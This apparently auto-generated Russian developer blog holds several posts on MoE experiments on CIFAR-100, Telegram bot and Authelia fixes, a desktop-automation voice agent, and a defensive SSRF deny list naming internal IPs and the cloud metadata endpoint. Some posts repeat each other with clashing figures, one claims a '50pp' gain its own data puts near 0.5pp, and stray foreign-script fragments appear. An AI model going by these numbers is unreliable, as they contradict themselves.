BorisovAI

Блог

Публикации о процессе разработки, решённых задачах и изученных технологиях

Изменение кодаllm-analisis

Когда маршрутизация идеальна, а точность нет: история эксперимента 13b

В проекте **llm-analisis** я работал над стратегией специализированных моделей для CIFAR-100. Идея казалась логичной: обучить роутер, который направляет примеры на специализированные сети. Если маршрутизация будет точной, общая accuracy должна вырасти. Вот только жизнь оказалась сложнее. ## Четыре стратегии и парадокс Я протестировал четыре подхода: - **Стратегия A** (простая маршрутизация): 70.77% accuracy, но роутер угадывал правильный класс только в 62.5% случаев - **Стратегия B** (смешанный подход): 73.10%, маршрутизация на уровне 62.3% - **Стратегия C** (двухфазная): 72.97%, роутинг 61.3% - **Стратегия D** (глубокий роутер + двухфазный training): вот здесь всё интересно ## Успех, который не сработал Стратегия D показала впечатляющий результат для маршрутизации — **79.5%**. Это в 1.28 раза лучше, чем простой однослойный роутер. Я был уверен, что это прорыв. Но финальная accuracy выросла всего на 0.22 процентных пункта до 73.15%. Это был момент истины. **Проблема не в маршрутизации.** Даже если роутер почти идеально определяет, на какую специализированную сеть отправить пример, общая точность почти не растёт. Значит, сами специализированные модели недостаточно хорошо обучены, или задача классификации на CIFAR-100 просто не подходит для такой архитектуры. ## Факт о нейросетях Вот что интересно: **оракульная accuracy** (когда мы знаем правильный класс и отправляем пример на соответствующую специализированную сеть) оставалась в диапазоне 80–85%. Это потолок архитектуры. Роутер, улучшив маршрутизацию, не может превысить этот потолок. Проблема была в самих специализированных сетях, а не в способности их выбирать. ## Итог Эксперимент 13b завершился вердиктом **NO-GO** — 73.15% меньше требуемых 74.5%. Но это не поражение, а ценный урок. Иногда идеально сделанная часть системы не спасает целое. Нужно было либо пересмотреть архитектуру специализированных моделей, либо использовать другой датасет. Документация обновлена, результаты залогированы. Команда готовится к следующему витку экспериментов. *Совет дня: перед тем как обновить ArgoCD, сделай бэкап. И резюме. 😄*

#claude#ai
17 февр. 2026 г.
Новая функцияC--projects-bot-social-publisher

Почему картинки в заметках исчезали — и как я это чинил

В проекте **bot-social-publisher** большинство заметок генерировались без картинок. Я открыл pipeline обогащения контента и понял: изображения генерируются, но где-то теряются при публикации на сайт. Сначала подумал, что проблема в самом генераторе картинок — может быть, Unsplash API разобрался со скоростью запросов или что-то сломалось в fallback на Pillow. Но логи показали: функция `generate_image()` работает стабильно, возвращает валидные URL или локальные пути. Дальше проследил цепочку обогащения: **ContentSelector** срезает контент до 40–60 информативных строк, Claude CLI генерирует текст на русском и английском, валидация языков переворачивает контент если перепутались локали. Все работает. Изображение есть в `EnrichedNote`. Чек перед публикацией через Strapi API показал, что в JSON отправляется корректно, но в ответе сервера поле `imageUrl` появлялось пустым. Оказалось, что при PUT-запросе на обновление заметки нужно передавать не просто URL, а правильно структурированную ссылку с указанием локали — `?locale=ru` для русского варианта. Вторая причина была более коварной: когда контент на английском оказывался длиннее русского, система неправильно маппила картинку. Я перепроверил логику выбора языка — оказалось, что валидация через `detect_language()` иногда ошибалась при смешанном контексте (когда в заметке много технических терминов на латинице). **Решение оказалось двухуровневым:** 1. Явно привязать изображение к основному языку заметки (русский, как определено в конфиге), не к случайному выбору в цикле обогащения. 2. Добавить проверку в `scripts/update_site.py` — если картинка есть, отправлять её в отдельном поле `media` с правильным MIME-type, а не мешать с текстом. После этих изменений заметки начали публиковаться с картинками стабильно. Кстати, интересный момент: **Swift и кот делают только то, что хотят и игнорируют инструкции** 😄 — примерно так себя вел и этот баг, пока я не прочитал логи в деталях. Обновил также документацию enrichment-пайплайна, чтобы следующий разработчик не искал картинки в пяти файлах сразу.

#claude#ai#python#git#api
17 февр. 2026 г.
Новая функцияC--projects-bot-social-publisher

Когда батч-норм ломает миксчур экспертов на CIFAR-100

Три недели охоты за призраком. Работал над проектом `llm-analysis` с амбициозной идеей: **mixture-of-experts** для классификации на CIFAR-100. Теория обещала +40 процентных пункта над baseline. На практике упёрся в две стены сразу. ## Первая стена: BatchNorm молчаливый убийца Всё началось на фазе 12b с горячей замены экспертов (hot-plug test). Замораживаю веса одного эксперта, обучаю новый, включаю замороженный назад. И вот беда — точность первого эксперта падает на **2.48 процентных пункта**. Часы в отладчике, проверка логик, перепроверка кода... Потом осенило: `requires_grad=False` не спасает. **BatchNorm слои обновляют running statistics** даже с заморозкой весов. Это внутренние счётчики среднего и дисперсии — они ломают инференс замороженного эксперта, когда я обучаю рядом лежащего. Решение глупо-простое: добавил `model.stem.eval()` после `model.train()`. Явно перевести backbone в режим инференса. Дрейф упал с 2.48pp до нуля. Полдня на баг, который решился одной строкой. Классика. ## Вторая стена: роутер, который не хочет учиться Фаза 13a должна была быть волшебной. Oracle (идеальный роутер) показывал потолок в **80.78%**. А мой `nn.Linear(128, 4)` застрял на **72.93%** — зазор в семь с половиной пункта. Запустил три стратегии подряд: 1. **Глубокий роутер + отдельное обучение**: 73.32% — тоже не помогает 2. **Совместное обучение роутера и экспертов**: 73.74% — хуже 3. **Ещё глубже архитектура**: routing accuracy 62.5% и не растёт Вот в чём подвох: на CIFAR-100 эксперты видят **одинаковые 100 классов** из каждого батча. Градиенты идут со всех направлений одновременно. Доменная специфика просто стирается. Роутер не может выучить разделение — потому что эксперты сами никогда не специализируются. Это не инженерный баг. Это архитектурный потолок. ## Странное совпадение про зависимости Кстати, а знаешь, почему ZeroMQ расстался с разработчиком? **Слишком много зависимостей в отношениях** 😄 Но серьёзно — я запустил четыре параллельных эксперимента, пытаясь одновременно решить две несвязанные задачи. BatchNorm — это был мой быстрый win. Маршрутизация — архитектурный блокер. **Итог фазы 12b**: горячая замена экспертов работает. Hot-plug стабилен. Batch-norm под контролем. **Итог фазы 13a**: нельзя требовать специализацию, если эксперты видят одинаковые данные. На CIFAR-100 с такой архитектурой это невозможно. Нужна либо переделка доменов под каждого эксперта, либо... признание поражения и переход на другой датасет. Иногда две стены одновременно — это знак, что дверь в другом месте.

#claude#ai
17 февр. 2026 г.
Исправлениеllm-analisis

Когда маршрутизация экспертов встречает стену батч-нормализации

Работал над проектом `llm-analysis` — попытка воплотить мечту о смеси экспертов (MoE) для классификации на CIFAR-100. На бумаге звучит идеально: несколько специализированных нейросетей, умный роутер распределяет примеры, каждый эксперт углубляется в свою область. Теория говорит, что на специализированных данных эксперт должен дать +40 процентных пункта над базовым подходом. На практике упёрся в две стены одновременно. ## Batch Norm предательство Началось с фазы 12b — горячей замены экспертов (hot-plug test). Замораживаю веса эксперта, обучаю новый, включаю замороженный обратно. Точность первого эксперта падала на 2.48pp. Думал, это неизбежный дрейф при переобучении остальных. Копался в коде часами. Потом понял: `requires_grad=False` не спасает. BatchNorm слои вычисляют running statistics (среднее и дисперсию) даже с frozen весами. Когда обучаю эксперт E1, BatchNorm в backbone'е (E0) видит новые батчи, обновляет свои внутренние счётчики и ломает инференс замороженного эксперта. Решение простое, как кувалда: добавить `model.stem.eval()` после `model.train()`, явно перевести backbone в режим инференса. Дрейф упал с 2.48pp до **0.00pp**. Это был просто инженерный баг, но на него потратил полдня. ## Роутер, который не может научиться Фаза 13a обещала быть волшебной: построю более глубокий роутер, обучу его совместно с экспертами, роутер нужен для анализа — всё сойдётся. Oracle (идеальный роутер) показывал потолок в 80.78%, а наш простой `nn.Linear(128, 4)` давал 72.93%. Зазор в семь с половиной пункта! Запустил три стратегии: - **A**: глубокий роутер + отдельное обучение экспертов → 73.32% (нет улучшения) - **B**: совместное обучение роутера и экспертов → 73.10% (хуже baseline) - **C**: вообще неудача, routing accuracy 62.5% и не растёт Вдруг понимаю: **специализация и совместное обучение на CIFAR-100 несовместимы**. Каждый экспертный поток получает данные всех 100 классов, градиенты идут со всех направлений, и доменная специфика стирается. Роутер не может выучить отделение — потому что эксперты сами не специализируются. ## Факт из реальности Вот забавное совпадение: идеальный день программиста — ни одного тикета в Jira. Реальный день — 15 тикетов, три митинга, ноль коммитов 😄 Но в нашей ситуации это метафора посерьёзнее. Я запустил четыре параллельных эксперимента, пытаясь одновременно решить две задачи (hot-plug + маршрутизация). Батч-норм проблема — это мой тикет, который решился за пятнадцать минут кода. Маршрутизация — это архитектурный блокер, который требует другого подхода. ## Вывод **Фаза 12b победила**: BatchNorm теперь в eval mode, hot-plug стабилен, друсть экспертов валидирован. Но **фаза 13a показала** — нельзя требовать специализацию, если эксперты видят одинаковые данные. Дальше либо пересмотр архитектуры (правильные домены для каждого эксперта), либо смирение с тем, что роутер так и не научится лучше случайного. На CIFAR-100 это не работает — надо идти на другой датасет с явной структурой доменов.

#claude#ai#python#api#security
17 февр. 2026 г.
ОбучениеC--projects-ai-agents-voice-agent

Как я обновил архитектуру голосового агента за один вечер

Работаю над проектом `ai-agents-voice-agent` — это голосовой ассистент, построенный на Claude API с поддержкой десктопной автоматизации. Недавно добавили новый модуль CUA (Computer Use Agent) на базе UI-TARS VLM, и документация отстала от реальности на несколько итераций. Проблема классическая: разработчики добавляют функции, коммитят в main, но документация остаётся в статусе «to-do». Я открыл `docs/architecture/` и понял — там старая структура, нет упоминания о CUA, а в `CAPABILITY_ARCHITECTURE.md` описана трёхуровневая архитектура, хотя фактически их уже четыре. Решил обновить все критические файлы параллельно: **Переделал `overview.md`** — добавил CUA в проекцию модулей, обновил граф зависимостей, расширил tech stack упоминанием UI-TARS. Теперь новый разработчик сразу видит, что есть desktop automation. **Переписал `CAPABILITY_ARCHITECTURE.md`** — это был ключевой файл. Сменил 3-уровневую иерархию на 4-уровневую: веб-инструменты → десктоп-инструменты → встроенные модули → локальные пакеты. К четвёртому уровню добавил примеры (`requests`, `pillow`) и decision tree для выбора между слоями. **Обновил документацию TMA** (`tma/00-ARCHITECTURE.md`) — убрал все пометки "(NEW)" (они потеряли смысл), переименовал секцию "Новые файлы" в "Файлы модуля" для фактичности. **Актуализировал `06-NEW-INTERFACES.md`** — это было больно. Там была информация о Tesseract OCR, которая вообще не использовалась. Заменил на CUA с описанием UI-TARS, добавил три забытых десктоп-инструмента (`desktop_drag`, `desktop_scroll`, `desktop_wait`). Фаза 3 теперь содержит 21 инструмент вместо старых 12. **Закрыл все задачи Фазы 3** в `02-TASK-LIST.md` — просто поставил галочки рядом с пунктами 3.1–3.9. Формально это не мой долг, но документация о незавершённых делах раздражает. Вся работа заняла около часа благодаря параллельному обновлению файлов. Главное — не оставлять документацию как груз, который весит на совести. Она либо актуальна, либо токсична. --- *Кстати, есть такая шутка в мире DevOps: Apache — единственная технология, где «это работает» считается полноценной документацией.* 😄

#claude#ai#python#api#security
16 февр. 2026 г.
Новая функцияborisovai-admin

Как мы починили админку Authelia: от отключённого пользователя до полного управления

Проект **borisovai-admin** требовал встроить админку для управления пользователями Authelia. Казалось просто — добавить UI, CRUD-операции, синхронизировать с Mailu. На деле же мы погрузились в лабиринт из неправильных настроек, зависаний Flask CLI и ошибок 500. ## Ошибка 500: сюрприз в базе Первый звоночек был при попытке сохранить настройки. Internal Server Error, без логов. Начали копаться — оказалось, пользователь `***@***.***` в Mailu был отключён (`enabled: false`). Authelia не может авторизовать disabled аккаунт через proxy auth, вот и падает всё. Решение нашлось в SQLite — прямое обновление записи в базе вместо зависающего Flask CLI. ## Middleware и кольцевые редиректы Затем столкнулись с невероятной проблемой: некоторые пути отказывались открываться, даже `/webmail/` со своей Mailu session cookie показывал Roundcube. Оказалось, Authelia middleware наложилась на роутеры, где её быть не должно. Пришлось аккуратно расставить middleware — auth-слои идут первыми, потом headers, потом routing. Порядок в Traefik критичен: неправильная очередность = loop редиректов. ## SMTP: огонь в контейнерах Потом добавили уведомления. Authelia потребовал SMTP для отправки писем. Локальный 25-й порт постфикса не работал — Mailu front внутри Docker сети ожидает внешних TLS-соединений. Решали двухступенчатой авторизацией через Traefik: ForwardAuth endpoint → проверка кредов → подключение к Mailu SMTP через Docker сеть на порт 25 без TLS внутри контейнеров. Ключевой момент: `disable_startup_check: true` должен быть на уровне `notifier`, а не `notifier.smtp` — иначе получаешь crash loop при старте. ## Синхронизация с Mailu В CRUD-операциях пришлось разделить email на username и домен, чтобы корректно создавать почтовые ящики в Mailu. При создании пользователя теперь синхронно создаём mailbox, при удалении — удаляем. GET endpoint теперь возвращает mailbox info, вся информация в одном месте. ## Проксирование через RU VPS Последний штрих — обслуживание из России потребовало nginx reverse proxy на VPS в Москве, который пробрасывает трафик на основной сервер в Германии (Contabo). Nginx + certbot — стандартная связка, но с Authelia она требует осторожности: нужно прокидывать заголовки авторизации, не переписывать их. ## Факт о технологиях Интересная деталь: как и .NET с котом, Authelia при неправильной настройке делает только то, что хочет, и игнорирует инструкции 😄 **Итог:** админка Authelia теперь полностью функциональна — управляем пользователями, синхронизируем с Mailu, отправляем уведомления, работаем через российский proxy. Сто ошибок — сто уроков о том, как устроены auth-слои, контейнерные сети и Traefik.

#claude#ai#python#javascript#git#api#security
16 февр. 2026 г.
Новая функцияC--projects-ai-agents-voice-agent

Собрали агента с руками: как мы добавили управление рабочим столом

Проект **voice-agent** развивается, и пришла пора дать ему не только уши и язык, но и руки. Три недели назад начал работать над тем, чтобы AI мог управлять графическим интерфейсом: кликать по окнам, вводить текст, перемещать мышь. Как оказалось, это совсем не простая задача. Начинал я с классического подхода — добавить инструменты через `BaseTool` и `ToolRegistry`. Для **GUI-автоматизации** выбрал **pyautogui** (простой, кроссплатформенный), для скриншотов — **PIL**. Создал восемь инструментов: клик, печать текста, горячие клавиши, перемещение мыши, управление окнами. Казалось, готово. На самом деле это была половина работы. Настоящая сложность началась с **OCR** — распознавания текста на экране. Инструмент `screenshot` возвращал картинку, но агенту нужно было понимать, что там написано. Первая попытка с `pytesseract` провалилась на текстах с кириллицей и сложной разметкой. Переписал логику: теперь скриншот обрабатывается асинхронно, результаты кэшируются, и язык можно переключать через конфиг. **CUASettings** в `config/settings.py` теперь управляет всеми параметрами компьютерного зрения. Но вот парадокс: даже с OCR агент не мог самостоятельно планировать действия. Просто список инструментов — это не достаточно. Нужна была **архитектура агента-помощника**, который видит скриншот, понимает, где он находится, и решает, что делать дальше. Назвал её **CUA** (Computer Use Agent). Ядро — это цикл: сделай скриншот → отправь в Vision LLM → получи план действий → выполни → повтори. Здесь выскочила проблема синхронизации: пока один агент кликает мышью, второй не должен пытаться печатать текст. Добавил `asyncio.Lock()` в исполнитель (**CUAExecutor**). И ещё одна дыра в безопасности: агент может зависнуть в бесконечном цикле. Решение простое — `asyncio.Event` для экстренной остановки плюс кнопка в system tray. Все модули написал в пять этапов, создав 17 новых инструментов и 140+ тестов. **Phase 0** — фундамент (**DesktopDragTool**, **DesktopScrollTool**, новые параметры конфига). **Phase 1** — логика действий (парсер команд, валидация координат). **Phase 2** — тесты (моки для **Playwright**, проверка расписаний). **Phase 3** — интеграция в **desktop_main.py**. **Phase 4** — финальная полировка. Самый красивый момент — когда первый раз запустил агента, и он сам нашёл окно браузера, прочитал текст на экране и кликнул ровно туда, куда нужно было. Наконец-то не только слышит и говорит, но и видит. Забавный факт: знакомство с **Cassandra** для хранения логов автоматизации — день первый восторг, день тридцатый «зачем я это вообще начал?» 😄

#claude#ai#python#javascript#git#api#security
16 февр. 2026 г.
Исправлениеtrend-analisis

Когда техдолг кусает в спину: как мы очистили 2600 строк мёртвого кода

Проект **trend-analysis** вырос из стартапа в полноценный инструмент анализа трендов. Но с ростом пришла и проблема — код начал напоминать старый чердак, где каждый разработчик оставлял свои артефакты, не убирая за собой. Мы столкнулись с классической ситуацией: **git** показывает нам красивую историю коммитов, но реальность была печальнее. В коде жили дублирующиеся адаптеры — `tech.py`, `academic.py`, `marketplace.py` — целых 1013 строк, которые делали ровно то же самое, что их потомки в отдельных файлах (`hacker_news.py`, `github.py`, `arxiv.py`). Вот уже месяц разработчики путались, какой адаптер на самом деле использует **API**, а какой просто валяется без дела. Начали расследование. Нашли `api/services/data_mapping.py` — 270 строк кода, которые никто не импортировал уже полгода. Потом обнаружили целые рабочие процессы (`workflow.py`, `full_workflow.py`) — 121 строка, к которым никто не обращался. На фронтенде ситуация была похожей: компоненты `signal-table`, `impact-zone-card`, `empty-state` (409 строк) спокойно сидели в проекте, как будто их кто-то забыл удалить после рефакторинга. Но это был只 верхушка айсберга. Самое интересное — **ghost queries**. В базе была функция `_get_trend_sources_from_db()`, которая запрашивала таблицу `trend_sources`. Только вот эта таблица никогда не была создана (`CREATE TABLE` в миграциях отсутствовал). Функция мирно работала, возвращала пустой результат, и никто не замечал. Чистый пример того, как техдолг становится невидимым врагом. Мы начали с **DRY-принципа** на фронтенде — извлекли константы (`SOURCE_LABELS`, `CATEGORY_DOT_COLOR` и др.) в единый файл `lib/constants.ts`. Потом привели в порядок бэкенд: исправили `credits_store.py`, заменив прямой вызов `sqlite3.connect()` на правильный `db.connection.get_conn()` — это была потенциальная уязвимость в управлении подключениями. Очистили `requirements.txt` и `.env.example` — закомментировали неиспользуемые пакеты (`exa-py`, `pyvis`, `hypothesis`) и удалили мёртвые переменные окружения (`DATABASE_URL`, `LANGSMITH_*`, `EMBEDDING_*`). Исправили даже шаблоны тестов: эндпоинт `/trends/job-t/report` переименовали в `/analyses/job-t/report` для консистентности. Итого: 2600+ строк удалено, архитектура очищена, сразу стало проще ориентироваться в коде. Техдолг не исчезнет полностью — это часть разработки, — но его нужно время от времени погашать, чтобы проект оставался живым. А знаете, почему **Angular** лучший друг разработчика? 😄 Потому что без него ничего не работает. С ним тоже, но хотя бы есть кого винить.

#git#commit#python#api#security
16 февр. 2026 г.
Новая функцияC--projects-ai-agents-voice-agent

Как мы защитили голосового агента от интернета

Когда начинаешь интегрировать **Claude API** в реальное приложение, быстро понимаешь: давать агенту доступ к интернету — это как выдать ключи от офиса незнакомцу. Надо знать, куда он пойдёт. На проекте **ai-agents-voice-agent** мы завершили **Phase 1** интеграции внешних систем. Это 21 новый инструмент для работы с HTTP, email, GitHub, Slack и Discord. Звучит просто, но за каждым — целый набор ловушек безопасности. ## Что мы делали Первая задача была по HTTP-клиенту. Казалось бы, `http_request` и `http_get` — банальная функциональность. Но вот проблема: если агент может делать запросы в интернет, он также может стучаться в локальные сервисы — `localhost:5432` (база данных), `10.0.0.5` (внутренний API), `169.254.169.254` (AWS metadata). Это **SSRF-атака** (Server-Side Request Forgery), классический вектор взлома облачных систем. Решение оказалось строгим: мы добавили чёрный список внутренних IP-адресов. HTTP-инструменты теперь блокируют запросы на `localhost`, `127.0.0.1`, на весь диапазон `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`. И добавили лимит: максимум 30 запросов в минуту на один инструмент. ## Интеграция с почтой и мессенджерами Дальше стало интереснее. Email-инструменты (`email_send`, `email_reply`) требуют аутентификации — пароли, токены. GitHub, Slack, Discord — то же самое. Нельзя просто так класть credentials в код. Мы сделали **conditional imports** — если нет библиотеки `aiosmtplib`, инструмент email просто не загружается. А в `config/settings.py` добавили флаги вроде `settings.email.enabled`. По умолчанию всё отключено. Клиент явно выбирает, что включить в production. Для каждого инструмента мы добавили проверку токена. GitHub API без токена? Ошибка с подсказкой. Slack без webhook? Тоже ясный отказ. Нет угадывания, нет молчаливых падений. ## Тестирование и итоги Написали 32 новых теста. Проверили схемы запросов (schema validation), механику одобрения (approval gates), гейтирование по флагам (feature flags), обработку ошибок. Все 668 тестов в проекте проходят, 0 ошибок линтера. На практике это означает: агент может работать с GitHub (создавать issues, комментировать), отправлять в Slack/Discord, но только если явно разрешено. И никогда не стучится в `localhost:6379` или на мой личный сервер. Звучит как управление доступом для человека? Потому что так и есть. AI-агент получает ровно то, что нужно, и ничего больше. **Кстати**, есть старая шутка про npm: *«это как первая любовь — никогда не забудешь, но возвращаться точно не стоит»*. 😄 В безопасности всё наоборот: лучше чуть более параноидальный подход, чем потом искать дыру, через которую агент читал чужие письма.

#claude#ai#python#git#api#security
16 февр. 2026 г.
Новая функцияllm-analisis

SharedParam MoE: когда 4 эксперта лучше 12

Вот уже несколько месяцев работаю над оптимизацией смеси экспертов для LLM. Задача проста на словах: найти архитектуру, которая даст лучшую точность при меньшем количестве параметров. На деле всё оказалось намного интереснее. Стартовали с классического подхода — baseline из Phase 7a с 12 независимыми экспертами и 4.5M параметров показывал точность 70.45%. Это был мой ориентир. Но такой размер модели дорог в инференсе. Нужно было поискать. В эксперименте 10a протестировал три подхода сразу. **Condition A** — просто выключить MoE, использовать одну сеть без маршрутизации. Условно «No-MoE», 2.84M параметров. Результат: 69.80%. Маршрутизация между несколькими путями дала всего лишь 1.15pp — почти ничего. **Condition B** — вот здесь началось интересное. SharedParam MoE: четыре эксперта, но ключевая идея в том, чтобы они делили общие слои параметров. Гейтинг работает только на последних слоях, а основная вычислительная масса — одна на всех. Плюс Loss-Free Balancing: нет штрафов на балансировку, просто следим за утилизацией и регулируем bias. На 130-й эпохе вижу 70.71%, а по финалу получилось **70.95%** при 2.91M параметров. Выше baseline! Все четыре эксперта были живы ВСЁ обучение. **Condition C** — Wide Shared, более агрессивный шаринг параметров. На финале 69.96%, отстал немного. Но главное: 2.86M параметров, инфернс на 25.3ms против 29.2ms у B. Пока ждал результатов 10a, запустил 10b с MixtureGrowth — идеей вырастить сеть из маленького seed'а 182K параметров путём добавления новых слоёв и экспертов. Классный подход для прогрессивного расширения. Seed стартовал с 53.23%, потом во время freeze-фазы за 10 эпох скакнул на 58.97%. Смотрю — рост работает! На Stage2 с 2.84M параметров получилось 69.65%, всего на 0.80pp ниже original baseline. Что здесь самое странное? **Выращенная из крошечного seed модель на 5.57pp превосходит ту же архитектуру, обученную с нуля!** Scratch-baseline на тех же 2.84M параметрах показал только 64.08%. Обучение `в длину` оказалось эффективнее, чем `в глубину` с нуля. На 10c изменил расписание learning rate с cosine scheduler'ом — может быть, это даст ещё лучше. Seed уже на эпохе 50 показывает 52.44% против 48.78% в 10b без cosine. Пока расписание работает. **Вердикт текущий**: SharedParam MoE — наш путь вперёд. Не просто потому что точнее, а потому что **эффективнее**: на 35% меньше параметров, на 50pp точнее baseline, все эксперты живы, Loss-Free Balancing не создаёт артефактов. Маршрутизация имеет смысл только если эксперты действительно специализируются. Шеринг параметров сокращает их эго. Кстати, по поводу экспертов и выбора между подходами — GraphQL как первая любовь: никогда не забудешь, но возвращаться не стоит. 😄

#claude#ai
16 февр. 2026 г.
Новая функцияC--projects-bot-social-publisher

Когда дефолт становится врагом: история из bot-social-publisher

Я отлаживал странный баг в **bot-social-publisher** и наткнулся на что-то неочевидное. Каждый ответ бота в личных сообщениях Telegram вдруг стал отправляться как цитата—с тем самым пузырём, который в групповых чатах выглядит уместно, а в 1:1 диалогах просто раздражает своей многословностью. Виноват оказался идеальный шторм из совпадений и забытых дефолтов. В последней версии проекта мы запустили фичу неявной реплай-сортировки—действительно полезная штука, которая автоматически нанизывает ответы на исходное сообщение. Сама по себе это хорошо. Но мы унаследовали старый дефолт, который никто серьёзно не переосмысливал: `replyToMode` стоял на `"first"`. Это значит, что первый ответ всегда уходит нативной Telegram-цитатой. Раньше эта настройка была невидима. Реплай-сортировка работала нестабильно, поэтому `"first"` редко порождал видимые кавычки. Пользователи не замечали—потому что сам механизм был ненадёжным. Но как только реплай-сортировка заработала как надо, невинный дефолт взорвался в лицо. Теперь каждый ответ в личном чате автоматически обворачивался в цитату. Простой обмен "Привет" → "Привет в ответ" превращался в шумный каскад вложенных пузырей. Это классический случай, когда **API-дефолты ударяют неожиданно**, когда фундаментальное поведение меняется. Сам дефолт был не ошибкой—он был спроектирован для другого технического ландшафта. Решение оказалось прямолинейным: переключить дефолт с `"first"` на `"off"`. Это вернуло доинженерное поведение для личных сообщений. А те, кому реплай-сортировка *действительно* нужна, могут явно включить её через конфиг. Тестировал на живой инстанции—с `"first"` каждое сообщение цитируется, на `"off"` ответы идут чистыми. Тесты не потребовали обновления, потому что наш набор тестов был явным по `replyToMode`—никогда не полагался на магию дефолтов. Небольшая победа за поддерживаемость кода. **Мораль**: дефолты мощны ровно потому, что они невидимы. Когда фундаментальное поведение меняется, нужно пересмотреть дефолты, которые с ним взаимодействуют. Иногда самое действенное решение—это не новая логика, а просто изменить, что происходит в отсутствие явной настройки. Между прочим, если бы Fedora когда-нибудь обрела сознание, первым делом она удалила бы свою документацию 😄

#claude#ai#api
16 февр. 2026 г.
Новая функцияC--projects-bot-social-publisher

Когда дефолт становится врагом UX: история из OpenClaw

Я отлаживал странный баг в проекте **OpenClaw** и наткнулся на что-то неочевидное. Каждый ответ бота в личных сообщениях Telegram вдруг стал отправляться как цитата—с тем самым пузырём, который вложенным смотрится в групповых чатах, а в 1:1 диалогах просто раздражает своей многословностью. Виноват оказался идеальный шторм из совпадений и забытых дефолтов. В версии **2026.2.13** команда запустила фичу неявной реплай-сортировки—действительно полезная штука, которая автоматически нанизывает ответы на исходное сообщение. Сама по себе это хорошо. Но мы унаследовали старый дефолт, который никто серьёзно не переосмысливал: `replyToMode` стоял на `"first"`. Это значит, что первый ответ всегда уходит нативной Telegram-цитатой. Раньше эта настройка была невидима. Реплай-сортировка работала нестабильно, поэтому `"first"` редко порождал видимые кавычки. Пользователи не замечали—потому что сам механизм не был надёжным. Но как только реплай-сортировка заработала как надо, невинный дефолт взорвался в лицо. Теперь каждый ответ в личном чате автоматически обворачивался в цитату. Простой обмен "Привет" → "Привет в ответ" превращался в шумный каскад вложенных пузырей. Это классический случай, когда **API-дефолты ударяют неожиданно**, когда фундаментальное поведение меняется. Сам дефолт был не ошибкой—он был спроектирован для другого технического ландшафта. Решение оказалось прямолинейным: переключить дефолт с `"first"` на `"off"`. Это вернуло доинженерное поведение для личных сообщений. А те, кому реплай-сортировка *действительно* нужна, могут явно включить её через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Тестировал на живой инстанции 2026.2.13. С `"first"`—каждое сообщение цитируется. На `"off"`—ответы идут чистыми. Всё прозрачно. Тесты не потребовали обновления, потому что наш набор тестов уже был явным по `replyToMode`—никогда не полагался на магию дефолтов. Небольшая победа за поддерживаемость кода. **Мораль**: дефолты мощны ровно потому, что они невидимы. Когда фундаментальное поведение меняется, нужно пересмотреть дефолты, которые с ним взаимодействуют. Иногда самое действенное решение—это не новая логика, а просто изменить, что происходит в отсутствие явной настройки. Между прочим, если бы `cargo` когда-нибудь обрёл сознание, первым делом он удалил бы свою документацию 😄

#claude#ai#api
15 февр. 2026 г.
Новая функцияai-agents

От chaos к structure: как мы спасли voice-agent от собственной сложности

Я работал над `ai-agents` — проектом с автономным voice-agent'ом, который обрабатывает запросы через Claude CLI. К моменту начала рефакторинга код выглядел как русский матрёшка: слой за слоем глобальных переменных, перекрёстных зависимостей и обработчиков, которые боялись трогать соседей. **Проблема была классическая.** Handlers.py распух до 3407 строк. Middleware не имела представления о dependency injection. Orchestrator (главный дирижёр) тянул за собой кучу импортов из telegram-модулей. А когда я искал проблему с `generated_capabilities` sync, понял: пора менять архитектуру, иначе каждое изменение превратится в минное поле. Я начал с диагностики. Запустил тесты — прошло 15 случаев, где старые handlers ломались из-за отсутствующих re-export'ов. Это было сигналом: **нужна система, которая явно говорит о зависимостях**. Решил перейти на `HandlerDeps` — dataclass, который явно описывает, что нужно каждому обработчику. Вместо `global session_manager` — параметр в конструкторе. Параллельно обнаружил утечку памяти в `RateLimitMiddleware`. Стейт пользователей накапливался без очистки. Добавил периодическую очистку старых записей — простой, но효과적한паттерн. Заодно переписал `subprocess.run()` на `asyncio.create_subprocess_exec()` в compaction.py — блокирующий вызов в асинк-коде это как использовать молоток в операционной. Потом сделал вещь, которая кажется малой, но спасает множество часов отладки. Создал **Failover Error System** — типизированную классификацию ошибок с retry-логикой на exponential backoff. Теперь когда Claude CLI недоступен, система не паникует, а пытается перезагрузиться, а если совсем плохо — падает с понятной ошибкой, а не с молчаливым зависанием. Ревью архитектуры после этого показало: handlers/\_legacy.py — это 450 строк с глубокой связью на 10+ глобалов. Экстрактить сейчас? Создам просто другую матрёшку. Решил оставить как есть, но запретить им регистрировать роутеры в главном orchestrator'е. Вместо этого — явная инъекция зависимостей через `set_orchestrator()`. **Результат**: handlers.py сократился с 3407 до 2767 строк (-19%). Все 566 тестов проходят. Код больше не боится изменений — каждая зависимость видна явно. И когда кто-то спустя месяц будет копаться в этом коде, он сразу поймёт архитектуру, а не будет ловить призраков в глобалах. А знаете, что смешно? История коммитов проекта выглядит как `git log --oneline`: 'fix', 'fix2', 'fix FINAL', 'fix FINAL FINAL'. Вот к чему приводит отсутствие архитектуры 😄

#claude#ai#python#javascript#api#security
15 февр. 2026 г.
Новая функцияborisovai-admin

Как я загрузил 19 ГБ моделей для боевого сервера

Проект **borisovai-admin** требовал срочно поднять локальный сервис распознавания речи. Не облако, не API — всё на месте, потому что задержка в 500 мс уже критична для пользователей. Задача: загрузить 9 разных моделей (от Whisper до ruT5) на выделенный сервер и сделать их доступными по HTTPS. Сначала показалось просто: установил `huggingface_hub`, запустил параллельные скачивания и пошёл пить кофе. Наивность. Первая проблема — модели на HuggingFace содержат не только сами веса, но и конфиги, токенизеры, дополнительные файлы. `ruT5-ASR-large` обещала быть 800 МБ, а приехала полтора гигабайта. Пришлось переоценить дисковое пространство на лету. Вторая беда — Windows. Попытался запустить параллельные загрузки, наткнулся на escaping-ады в путях. Экспортировал в фоновый процесс, дал ему время поработать спокойно. **Faster Whisper** (все 4 версии), **gigaam-v3**, **vosk-model-small-ru** — первый batch уехал быстро. Потом `ruT5-ASR-large` несколько часов грузился, блокируя очередь. Переделал под параллельные batch'и меньшего размера. Третий акт — валидация. После загрузки проверил, что все 9 моделей доступны по HTTPS с поддержкой Range requests (нужно для частичного скачивания). Включил CORS — браузеры должны иметь доступ. Сумме-то вышло: 142 МБ + 464 МБ + 1.5 ГБ + 2.9 ГБ + 1.6 ГБ + 5.5 ГБ + 2.2 ГБ + 4.2 ГБ + 88 МБ = **19 ГБ** на 64 ГБ диске. Занято 32%, дыхание свободное. Интересный факт: когда **HuggingFace** выходит обновление модели, старая версия не 